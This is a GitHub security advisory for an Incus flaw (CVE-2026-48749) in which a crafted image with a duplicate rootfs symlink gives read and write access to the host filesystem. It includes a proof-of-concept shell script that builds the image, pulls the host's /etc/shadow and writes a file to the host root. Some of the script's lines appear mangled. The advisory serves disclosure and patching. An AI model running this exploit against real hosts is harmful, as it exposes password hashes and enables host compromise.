GitHub Advisoryadvisory · Go
GHSA-2q3f-q5pq-g8wv Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
CRITICAL
Official page ↗
- Aliases
- CVE-2026-48749
- Ecosystem
- Go
- Packages
- github.com/lxc/incus/v7/cmd/incusd
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-73
- Reviewed
- 2026-06-26
Affected packages
• Go github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 → fixed in 7.2.0
Description
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.
```
metadata.yaml
rootfs/
rootfs -> /
```
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.
```
!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Related
Alias · CVE (1)
- CVE-2026-48749 Incus is a system container and virtual machine manager. vulnerability
Weakness · CWE (1)
- CWE-73 External Control of File Name or Path weakness